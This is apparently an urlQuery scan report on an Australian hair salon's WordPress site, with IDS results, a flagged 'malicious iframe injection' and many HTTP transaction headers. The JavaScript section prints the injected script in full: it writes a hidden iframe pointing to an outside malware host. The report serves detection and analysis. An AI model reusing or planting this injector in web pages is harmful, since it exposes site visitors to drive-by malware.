Overview

URLhttp://www.kokumhair.com.au/
IP223.130.24.90
ASNAS45638 VentraIP Group (Australia) Pty Ltd
Location Australia
Report completed2012-11-06 07:10:18 CET
StatusLoading report..
urlQuery Alerts Detected malicious iframe injection


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro No alerts detected
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on ASN: AS45638 VentraIP Group (Australia) Pty Ltd

Date Alerts / IDS URL IP
2013-02-21 22:34:552 / 5http://www.davidduong.net/112.140.180.12
2013-02-20 11:34:582 / 3http://www.davidduong.net/?fb_xd_fragment112.140.180.12
2013-02-19 21:53:402 / 13http://www.davidduong.net/?fb_xd_fragment112.140.180.12
2013-02-13 02:21:302 / 5http://www.davidduong.net/?gallery=fashion112.140.180.12
2013-02-13 02:03:452 / 5http://www.davidduong.net/?gallery=portraits112.140.180.12
2013-02-12 18:25:352 / 0http://www.kalawaticonstructions.com/?p=223110.232.140.115



JavaScript

Executed Scripts (10)


Executed Evals (2)

#1 JavaScript::Eval (size: 590, repeated: 1) - Alert detect on script (Severity: 2)

if (1) if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://ezphudgyyjy.myfw.us/vc.php?go=2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://ezphudgyyjy.myfw.us/vc.php?go=2');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

#2 JavaScript::Eval (size: 3, repeated: 585)

j % 3

Executed Writes (1)

#1 JavaScript::Write (size: 143, repeated: 1)

<iframe src='http://ezphudgyyjy.myfw.us/vc.php?go=2' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>


HTTP Transactions (33)


Request Response
GET /favicon.ico HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 404 Not Found

Content-Type: text/html
Date: Tue, 06 Nov 2012 06:09:34 GMT
Server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Cache-Control: private, no-cache, max-age=0
Pragma: no-cache
Content-Length: 389
GET / HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Vary: Accept-Encoding
Transfer-Encoding: chunked
Date: Tue, 06 Nov 2012 06:09:34 GMT
Server: LiteSpeed
Connection: close
X-Powered-By: PHP/5.3.17
Set-Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Pingback: http://www.kokumhair.com.au/xmlrpc.php
GET /css/jquery.lightbox-0.5.css HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: text/css
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Tue, 06 Nov 2012 06:09:34 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;8e4-4c9eead8-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:40:24 GMT
Content-Length: 966
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:34 GMT
GET /wp-content/plugins/google-analyticator/external-tracking.min.js?ver=6.1.1 HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: application/javascript
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Tue, 06 Nov 2012 06:09:34 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: close
Etag: &quot;39f-4cc69bb7-0&quot;
Last-Modified: Tue, 26 Oct 2010 09:13:27 GMT
Content-Length: 443
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:34 GMT
GET /js/jquery.min.js HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: application/javascript
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Tue, 06 Nov 2012 06:09:34 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: close
Etag: &quot;119ee-4c9eeaec-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:40:44 GMT
Content-Length: 28573
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:34 GMT
GET /images/dot.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:35 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;143-4c9eeae2-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:40:34 GMT
Content-Length: 323
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:35 GMT
GET /images/facebook.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:36 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;473-4c9eeae2-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:40:34 GMT
Content-Length: 1139
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:36 GMT
GET /js/jquery.lightbox-0.5.min.js HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: application/javascript
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Tue, 06 Nov 2012 06:09:34 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: close
Etag: &quot;2755-4c9eeaeb-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:40:43 GMT
Content-Length: 2959
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:34 GMT
GET /images/line-break.png HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/png
Date: Tue, 06 Nov 2012 06:09:36 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;2e4-4c9eeae7-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:40:39 GMT
Content-Length: 740
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:36 GMT
GET /images/twitter.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:36 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;445-4c9eeaea-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:40:42 GMT
Content-Length: 1093
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:36 GMT
GET /wp-includes/js/jquery/jquery.js?ver=1.7.2 HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: application/javascript
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Tue, 06 Nov 2012 06:09:34 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: close
Etag: &quot;1728d-4fea74b9-0&quot;
Last-Modified: Wed, 27 Jun 2012 02:49:29 GMT
Content-Length: 39003
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:34 GMT
GET /wp-content/themes/twentyten/images/headers/path.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:35 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;8204-4c9eebf6-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:45:10 GMT
Content-Length: 33284
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:35 GMT
GET /favicon.ico HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 404 Not Found

Content-Type: text/html
Date: Tue, 06 Nov 2012 06:09:37 GMT
Server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Cache-Control: private, no-cache, max-age=0
Pragma: no-cache
Content-Length: 389
GET /images/curves.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:36 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;1c79-4cc69fa0-0&quot;
Last-Modified: Tue, 26 Oct 2010 09:30:08 GMT
Content-Length: 7289
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:36 GMT
GET /wp-content/themes/twentyten/style.css HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: text/css
Content-Encoding: gzip
Vary: Accept-Encoding
Date: Tue, 06 Nov 2012 06:09:34 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;7455-4ca2c1b6-0&quot;
Last-Modified: Wed, 29 Sep 2010 04:33:58 GMT
Content-Length: 8331
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:34 GMT
GET /images/vip.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:36 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;210c-4c9f08a9-0&quot;
Last-Modified: Sun, 26 Sep 2010 08:47:37 GMT
Content-Length: 8460
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:36 GMT
GET /images/link_glamour.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:37 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;23a6-4c9f074f-0&quot;
Last-Modified: Sun, 26 Sep 2010 08:41:51 GMT
Content-Length: 9126
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:37 GMT
GET /wp-content/themes/twentyten/images/body-bg.png HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/wp-content/themes/twentyten/style.css
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/png
Date: Tue, 06 Nov 2012 06:09:37 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;111-4c9eeb98-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:43:36 GMT
Content-Length: 273
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:37 GMT
GET /images/Gallery.png HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/png
Date: Tue, 06 Nov 2012 06:09:37 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;639-4c9eeae2-0&quot;
Last-Modified: Sun, 26 Sep 2010 06:40:34 GMT
Content-Length: 1593
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:37 GMT
GET /images/link_image_20dollar.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:37 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;2693-4c9f05cb-0&quot;
Last-Modified: Sun, 26 Sep 2010 08:35:23 GMT
Content-Length: 9875
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:37 GMT
GET /images/01_tn.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:37 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;fb6-4c9ef226-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:11:34 GMT
Content-Length: 4022
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:37 GMT
GET /__utm.gif?utmwv=5.3.6&utms=1&utmn=774090185&utmhn=www.kokumhair.com.au&utmcs=UTF-8&utmsr=1176x885&utmvp=1159x761&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmdt=Hair%20Salon%20Hamilton%2C%20Newcastle%2C%20NSW%20%E2%80%93%20KokumHair.com.au&utmhid=886093091&utmr=-&utmp=%2F&utmac=UA-2204254-17&utmcc=__utma%3D61556918.1437548528.1352182189.1352182189.1352182189.1%3B%2B__utmz%3D61556918.1352182189.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmu=q~ HTTP/1.1

Host: www.google-analytics.com
GET /__utm.gif?utmwv=5.3.6&amp;utms=1&amp;utmn=774090185&amp;utmhn=www.kokumhair.com.au&amp;utmcs=UTF-8&amp;utmsr=1176x885&amp;utmvp=1159x761&amp;utmsc=24-bit&amp;utmul=en-us&amp;utmje=1&amp;utmfl=10.0%20r45&amp;utmdt=Hair%20Salon%20Hamilton%2C%20Newcastle%2C%20NSW%20%E2%80%93%20KokumHair.com.au&amp;utmhid=886093091&amp;utmr=-&amp;utmp=%2F&amp;utmac=UA-2204254-17&amp;utmcc=__utma%3D61556918.1437548528.1352182189.1352182189.1352182189.1%3B%2B__utmz%3D61556918.1352182189.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&amp;utmu=q~ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Thu, 01 Nov 2012 01:12:00 GMT
Content-Length: 35
X-Content-Type-Options: nosniff
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 449869
Server: GFE/2.0
GET /images/02_tn.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;f72-4c9ef226-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:11:34 GMT
Content-Length: 3954
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:38 GMT
GET /images/04_tn.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;f4d-4c9ef229-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:11:37 GMT
Content-Length: 3917
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:38 GMT
GET /images/05_tn.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;1080-4c9ef22a-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:11:38 GMT
Content-Length: 4224
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:38 GMT
GET /images/06_tn.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;11bb-4c9ef22b-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:11:39 GMT
Content-Length: 4539
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:38 GMT
GET /images/07_tn.jpg HTTP/1.1

Host: www.kokumhair.com.au

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.kokumhair.com.au/
Cookie: PHPSESSID=af2f9af0e91bce050d039c468597d3d2
HTTP/1.1 200 OK

Content-Type: image/jpeg
Date: Tue, 06 Nov 2012 06:09:38 GMT
Server: LiteSpeed
Accept-Ranges: bytes
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
Etag: &quot;f62-4c9ef22c-0&quot;
Last-Modified: Sun, 26 Sep 2010 07:11:40 GMT
Content-Length: 3938
Cache-Control: max-age=604800
Expires: Tue, 13 Nov 2012 06:09:38 GMT
GET /images/03_tn.jpg HTTP/1.1

Host: www.kokumhair.com.au

